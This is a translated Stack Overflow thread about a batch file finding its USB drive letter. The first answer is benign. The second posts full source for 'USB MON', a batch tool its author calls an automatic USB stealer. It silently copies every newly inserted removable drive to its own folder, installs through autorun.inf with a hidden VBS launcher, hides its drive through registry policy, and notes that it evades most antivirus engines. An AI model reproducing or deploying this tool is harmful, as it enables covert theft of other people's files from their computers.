批处理文件检测到它所在的USB闪存驱动器的驱动器号,然后打开cmd提示符

时间:2013-04-24 13:46:31

标签: batch-file cmd usb drive-letter

我想将一个批处理文件放在USB闪存盘上,我可以插入并运行批处理。我希望批处理能够检测到已分配给USB闪存驱动器的驱动器号,然后打开命令提示符并将目录更改为USB闪存驱动器的驱动器号,然后在cmd提示符中键入命令字符串并输入CR执行命令。

我甚至不知道从哪里开始。我已经搜索了cmd批次相关的主题,但是在将其插入PC后,实际检测到已经分配了USB闪存驱动器的驱动器盘符没有任何运气。

非常感谢任何帮助。谢谢。

2 个答案:

答案 0 :(得分:2)

这将告诉您分配的驱动器号

@echo off
setlocal   
set wmi='wmic logicaldisk where "volumeserialnumber='32A78F3B'" get caption'
    for /f "skip=1 delims=" %%A in (%wmi%) do (
        for /f "tokens=1 delims=:" %%B in ("%%A") do (set drive=%%B)
    )
echo %drive%

要获取卷序列号,请键入

vol [drive letter of flashdrive:]

但是,如果从USB驱动器运行批处理文件,则所有这些都不是必需的。只需插入

即可
cd /d %~dp0 

在批处理文件的顶部,它将更改为运行批处理文件的目录。从那里只需添加您的代码。

您是否希望在插入USB驱动器时自动运行批处理文件?你的问题在这一点上并不清楚。

答案 1 :(得分:0)

我编写了一个名为 USBMON 的实用程序,当您运行脚本时,它会获取所有已连接驱动器的列表,从列表中排除cd-roms和hdd,然后脚本开始监视等待用自由字母插入新的USB驱动器,然后将插入的USB中的所有文件复制到文件夹中。

您可以执行propper更改而不是复制文件做其他事情,如打开CMD窗口。

PS:变量名称是英文的,但注释行,回声和信息都是西班牙语,但我认为很容易理解,你也可以使用GoogleTranslate。

@Echo OFF

Title USB MON v0.3
REM By Elektro H@cker

Setlocal enabledelayedexpansion
Color 07

:: :: :: :: :: :: :: ::
::                   ::
::   CONFIGURACIÓN   ::
::                   ::
:: :: :: :: :: :: :: ::
::
::
:: Directorio de inicio
Set "DIR=%~d0"
::
:: Directorio del log
Set "LOGFILE=.\USBMON.log"
::
:: Letras a monitorizar
Set "DRIVES= B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
::
:: Letras hexadecimales (NO TOCAR)
Set "DRIVES_HEX=A:1 B:2 C:4 D:8 E:16 F:32 G:64 H:128 I:256 J:512 K:1024 L:2048 M:4096 N:8192 O:16384 P:32768 Q:65536 R:131072 S:262144 T:524288 U:1048576 V:2097152 W:4194304 X:8388608 Y:16777216 Z:33554432"
::
:: Ocultar unidades vacías en "MI PC"                (ACTIVAR / DESACTIVAR)
Set "HideDrivesWithNoMedia=ACTIVAR"
::
:: Ocultar la unidad de inicio de USB MON en "MI PC" (ACTIVAR / DESACTIVAR)
Set "HideUSBMONDrive=DESACTIVAR"
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

REM Inicio del LOG
Call :Logo
Call :Write_Log >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log Iniciando USB MON... >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log >NUL

REM Ocultar unidades vacías en "MI PC"
REG Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" >NUL 2>&1 && (
    FOR /F "Tokens=3 Delims= " %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" 2^>NUL') do (
       Set "Value=%%a"
)) || (Set "Value=0x1")
IF /I "%HideDrivesWithNoMedia%" EQU "ACTIVAR" (
    IF /I NOT "%Value%" EQU "0x0" (
        Call :Write_Log [+] Ocultando las unidades va´c¡as en MI PC...
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "0" /F >NUL
    ) ELSE (
        Set "HideDrivesWithNoMedia="
    )
)

REM Ocultar la unidad de inicio de USB MON
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (
    REG QUERY "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" >NUL 2>&1 && (SET "HideUSBMONDrive=") || (
        Call :Write_Log [+] Ocultando la unidad de USB MON en MI PC [%DIR%]...
        FOR %%# in (%DRIVES_HEX%) do (
            Echo %%# | FIND "%DIR%" >NUL && (
                Call SET "DIR_HEX=%%#"
                CALL REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /T "REG_DWORD" /D "%%DIR_HEX:~2%%" /F >NUL
            )
        )
    )
)

REM Reinicia el proceso explorer.exe
Echo " %HideDrivesWithNoMedia% , %HideUSBMONDrive% " | FINDSTR /I "\<ACTIVAR\>" >NUL && (
    START /W Taskkill /F /IM "explorer.exe" >NUL
    START /B explorer.exe
    Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
)

REM Para revertir los cambios para "Ocultar unidades vacías en "MI PC"" en el próximo reinicio del sistema
IF /I NOT "%Value%" EQU "0x0" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrivesWithNoMedia" /D "CMD /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "1" /F >NUL" /F >NUL)
REM Para revertir los cambios para "Ocultar la unidad de inicio de USB MON" en el próximo reinicio del sistema
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" /D "CMD /C REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /F >NUL" /F >NUL)

REM Inicia el servicio de Disco Virtual para poder usar Diskpart
:SERVICE
Call :Logo
SC query "VDS" | FIND /I "PENDING" >NUL && (
    Call :Write_Log Hay una detenci£n pendiente del servicio de Disco virtual.
    Call :Write_Log Esperando a que el servicio pueda reanudarse para continuar...
    Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
    Goto :Service
)
SC query "VDS" | FIND /I "STOPPED" >NUL && (
    Call :Write_Log El servicio de Disco virtual est… detenido.
    Call :Write_Log Iniciando el servicio...
    sc config "VDS" start= "demand" >NUL 2>&1
    sc start "VDS" >NUL 2>&1 || (
        Call :Write_Log         
        Call :Write_Log * ERROR CRÖTICO *
        Call :Write_Log No se pudo iniciar el servicio de Disco virtual, Compruebe sus permisos de usuario.
        Call :Write_Log Terminando el proceso...
        Exit /B 1
    )
) & (Call :Write_Log El servicio de Disco virtual se ha iniciado.)

REM Parámetros
IF        "%~1" EQU "/?"        (Goto :command_help)
IF /I     "%~1" EQU "-ayuda"    (Goto :extended_help)
IF /I     "%~1" EQU "-instalar" (Goto :install)
IF /I     "%~1" EQU "-test"     (Goto :test)
IF /I NOT "%~1" EQU "" (Call :Logo & Echo: Par…metro desconocido: %1 & Exit /B 1)

REM Elimina archivos temporales de una sesión anterior
DEL /Q "%WINDIR%\Temp\USBMON*" 2>NUL

REM Elimina los discos fijos para la monitorizaci£n
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (Set "DRIVES=!DRIVES: %%# = !")

REM Elimina los dispositivos de DVD-ROM para la monitorizaci£n
For %%# in (%DRIVES%) DO (fsutil fsinfo drivetype %%#: | FIND /I "ROM" >NUL && (Set "DRIVES=!DRIVES: %%# = !"))

REM Monitoreo y auto-copiado
:MONITOR
Call :Logo
Echo Unidad de origen: [%DIR%]
Call :Write_Log Monitorizando unidades:!DRIVES!
Echo+ & Call :Write_Log >NUL
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (
    Echo "%DRIVES%" | FIND /I "%%#" >NUL && (
        For /F "Tokens=7,* delims= " %%A in ('Vol %%#: ^| FIND /I " %%# "') Do (
            IF "%%B" EQU "tiene etiqueta." (Set "LBL=Sin etiqueta") ELSE (Set "LBL=%%B")
            Call :Write_Log Hay un dispositivo conectado en la unidad [%%#:] con etiqueta "!LBL!"
        )
        Call :Write_Log  [+] Buscando archivos....
        DIR /B /A "%%#:\*" >NUL 2>&1 && (
            Call :Write_Log  [+] Copiando archivos de la unidad [%%#:] a la unidad [%DIR%]
            MKDIR "%WINDIR%\Temp" 2>NUL
            MKDIR "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!" 2>NUL
            IF EXIST "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" (
                XCOPY /A /C /E /H /J /K /O /Q /X "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" /EXCLUDE:%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt
            ) ELSE (
                XCOPY /A /C /E /H /J /K /O /Q /X /Y "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\"
            )
            DEL /Q "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" 2>NUL
            PUSHD "%%#:\"
            For /R %%a in (*) do (Echo %%a>>"%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt")
            POPD
        ) || (
            Call :Write_Log  [+] La unidad est… vac¡a...
        )
        )
    )
)
Timeout /T 10 2>NUL || (Ping -n 10 localhost >NUL)
Goto :MONITOR

:LOGO
CLS
ECHO+
ECHO+                                                          .------.
ECHO+      _   _  ____   ____       __  __   ___   _   _       ^| from-.-----.
ECHO+     ^| ^| ^| ^|/ ___^| ^| __ )     ^|  \/  ^| / _ \ ^| \ ^| ^|      ^| that-^| -----^|
ECHO+     ^| ^| ^| ^|\___ \ ^|  _ \     ^| ^|\/^| ^|^| ^| ^| ^|^|  \^| ^|      ^| -usb-^| to---^|
ECHO+     ^| ^|_^| ^| ___) ^|^| ^|_) ^|    ^| ^|  ^| ^|^| ^|_^| ^|^| ^|\  ^|      ^| -----^| -my--^|
ECHO+      \___/ ^|____/ ^|____/     ^|_^|  ^|_^| \___/ ^|_^| \_^|      '------^| drive^|
ECHO+       By Elektro H@cker                                    v0.3 '------'                                        
ECHO+
GOTO:EOF

:WRITE_LOG
Echo %*
Call Echo [%DATE%] [%TIME: =%] %* >> "%LOGFILE%"
GOTO:EOF

:INSTALL

Call :Logo
Set "Extraibles="
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (Set "Extraibles=!Extraibles! %%#")
Echo Dispositivos extraibles conectados:!Extraibles! | MORE
Echo Escribe la letra del dispositivo donde se instalar… USB MON...
Set /P "DriveDest=>> "
If Not exist "%DriveDest%:" (Goto :Install) ELSE (Copy /Y %0 "%DriveDest%:\%~n0.bat" >NUL)
Call :Logo
Echo Unidad seleccionada: [%DriveDest%:] | MORE

COPY /Y "%CD%\%~n0.BAT" "%DriveDest%:\%~n0.BAT" >NUL

Choice /M "¨Quiere crear un autorun.inf?"

If "!ERRORLEVEL!" EQU "1" (
    Choice /M "¨Quiere que USBMON se ejecute en modo oculto?"
    If "!ERRORLEVEL!" EQU "1" (
        Set "EXT=vbs"
        (
         Echo Set wshShell = CreateObject("WScript.Shell"^) 
         Echo wshShell.run """" ^& ".\%~n0.BAT" ^& """", 0
        )>"%DriveDest%:\%~n0.vbs"
    ) ELSE (
        Set "EXT=bat"
    )
    (
    Echo [autorun]
    Echo shellexecute=%~n0.!EXT!
    Echo shell\open\command=%~n0.!EXT!
    Echo shell\explore\command=%~n0.!EXT!
    Echo shell=explore
    Echo open=%~n0.!EXT!
    Echo action =Ejecutar USB MON
    Echo Language=
    Echo ID=en
    )>"%DriveDest%:\autorun.inf"
    Attrib -A +S +H +R "%DriveDest%:\autorun.inf"
)
Call :Logo
Echo Gracias por utilizar USB MON           :^) | MORE
Pause&Exit /B 0

:TEST
Call :Logo
Echo: Comenzando el test... | MORE
Echo: [+] Buscando alguna unidad extra¡ble en el PC...
Echo list vol | diskpart | FIND /I "xtra" >NUL || (
    Echo: * ERROR CRÖTICO *
    Echo: Porfavor inserta un dispositivo extra¡ble en el PC.
    Exit /B 1
)
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (
    IF "%%#:" EQU "%DIR%" (
        Echo: * ERROR CRÖTICO *
        Echo: No debes ejecutar USB MON desde la unidad extra¡ble en este test.
        Exit /B 1
    )
    Echo: [+] Unidad extra¡ble encontrada [%%#:] | MORE
    Call :Write_Log Iniciando un test en la unidad [%%#:] >NUL
    Set "DRIVES= %%# "
    MKDIR "%WINDIR%\Temp" 2>NUL
    DEL /Q "%WINDIR%\Temp\USBMON_[%%#]*" 2>NUL
)
Echo: Se procede a monitorizar la unidad [%DRIVES: =%:]...
Timeout /T 10 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Monitor

:COMMAND_HELP
call :Logo
Echo: /?        ^^^| Muestra esta ayuda | MORE
Echo: -ayuda    ^^^| Muestra la ayuda extendida | MORE
Echo: -instalar ^^^| Instala USBMON en un dispositivo extra¡ble | MORE
Echo: -test     ^^^| Inicia un test en un dispositivo extra¡ble | MORE
Exit /B 0

:EXTENDED_HELP
Call :Logo
Echo - ¨Que es USB MON?
Echo   ________________ | MORE
Echo: USB MON (USB Monitor) es un programa portable con el f¡n de monitorizar
Echo: los nuevos dispositivos extraibles que se conecten a un PC
Echo: y copiar autom…ticamente su contenido a la carpeta de USB MON. | MORE
Echo: USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC
Echo: en el momento que se ejecuta el programa. | MORE
Echo: En pocas palabras, USB MON es un "roba USB" autom…tico. | MORE
Pause&Call :Logo

Call :Logo
Echo - ¨USB MON es compatible con todas las versiones de Windows?
Echo   __________________________________________________________ | MORE
Echo: USB MON ha sido testeado £nicamente en Windows 7,
Echo: pero no deber¡a dar problemas en Windows XP y Vista. | MORE
Pause&Call :Logo

Echo - Consejos para un correcto uso de USB MON
Echo   ________________________________________ | MORE
Echo: Es conveniente ejecutar USB MON sin que hayan medios extraibles conectados
Echo: en ese momento al PC, ya que esa letra de unidad quedar¡a descartada. | MORE
Echo: Es NECESARIO ocultar las unidades vac¡as en MI PC. | MORE
Pause&Call :Logo

Echo - ¨Como funciona USB MON?
Echo   _______________________ | MORE
Echo: Al ejecutar USB MON se obtiene una lista de las letras de las unidades
Echo: conectadas al equipo en ese momento, esas letras se descartan
Echo: y se comienza a monitorizar el resto de letras en el equipo.
Echo: (Por eso es conveniente los consejos de uso de USB MON^) | MORE
Echo: Cuando USB MON detecta un dispositivo extraible insertado en alguna de las
Echo: letras monitorizadas, se buscan archivos en esa unidad y se copian
Echo: a la carpeta del programa, excluyendo duplicados de archivos
echo: que se hayan copiado anteriormente de esa misma unidad. | MORE
Pause&Call :Logo

Echo - ¨Como funciona las opciones de "Ocultar unidades" de USB MON?
Echo   _____________________________________________________________ | MORE
Echo Ocultar unidades vac¡as en "MI PC":
Echo: Se escribe una clave en el registro para ocultar las unidades visibles
Echo: sin medios insertados. | MORE
Echo Ocultar la unidad de inicio de USB MON en "MI PC":
Echo: Se escribe una clave en el registro para ocultar la unidad desde
Echo: donde se inicia USB MON. | MORE
Echo: Los cambios efectuados se revierten en el pr¢ximo reinicio del sistema.| MORE
Echo: Si alguna de las dos opciones está activada se reiniciará el proceso del
Echo: explorer.exe, para que los cambios surgan efecto al instante. | MORE
Pause&Call :Logo

Echo - ¨Los antivirus pueden detectar USB MON?
Echo   _______________________________________ | MORE
Echo: En mi £ltimo escaneo online solo lo ha detectado 1 de 42 antivirus: | MORE
Echo: DrWeb  BATCH.Virus
Echo: Fecha: 2012-09-26 | MORE
Pause&Call :Logo

Echo - ¨Que es un autorun.inf?
Echo   _______________________ | MORE
Echo: Un autorun es un archivo de personalizaci¢n preconfigurado para USB/CD/DVD.
Echo; Se puede personalizar el aspecto del dispositivo, y ejecutar un proceso. | MORE
Echo: Un autorun es detectado por el servicio de Reproducci£n autom…tica de windows,
Echo; La ejecuci¢n del autorun depende de que el servico est‚ habilitado en el PC. | MORE
Echo: El servicio se puede habilitar desde la herramienta "Services.MSC". | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-instalar" de USB MON?
Echo   _________________________________________________ | MORE
Echo: Sirve para portabilizar el programa hacia una unidad extraible. | MORE
Echo: La opci¢n est… pensada para ser instalada en un pendrive, as¡, con
Echo: la ayuda de un autorun.inf, poder insertar el pendrive en otro equipo,
Echo: y monitorizar ese equipo para copiar los otros medios EXTRAIBLES a tu pendrive. | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-test" de USB MON?
Echo   _____________________________________________ | MORE
Echo: Sirve para realizar una peque¤a prueba de monitorizaci¢n en una 
Echo: unidad extra¡ble aleat¢ria de tu PC. | MORE
Echo: Es una prueba para ver si todo funciona con normalidad. | MORE
Echo: PD: El test ha de cancelarse manualmente apretando "CTRL + C" o cerrando CMD. | MORE
Pause&Call :Logo

Echo - Cuando intento instalar USB MON con el autorun.inf no me funciona, ¨Porqu‚?
Echo   ___________________________________________________________________________ | MORE
Echo Windows XP/Vista:
Echo: El servicio de "Reproducci¢n autom…tica" debe estar activado en el equipo. | MORE
Echo Windows 7:
Echo: Microsoft deshabilit£ POR COMPLETO el uso de un autorun.inf en pendrives,
Echo: La £nica manera de ejecutar un autorun.inf es disponer de un pendrive,
Echo: que se haga pasar por un dispositivo de CD-ROM para auto-reproducirse. | MORE
Echo: PD: Inf¢rmate en internet sobre el modelo de pendrive antes de adquirirlo. | MORE
Pause&Call :Logo

Echo - ¨Donde puedo conseguir m…s programas tuyos?
Echo   ___________________________________________ | MORE
Echo: No tengo ninguna web ni blog personal, pero puedes visitar www.elhacker.net | MORE
Echo: All¡ encontrar…s m…s scripts £tiles de todo tipo usando el buscador del foro,
Echo: Tambi‚n me encontrar…s moderando la secci¢n de Scripting, donde siempre estar‚
Echo: dispuesto y encantado de resolver tus dudas. | MORE
Pause&Exit/B 0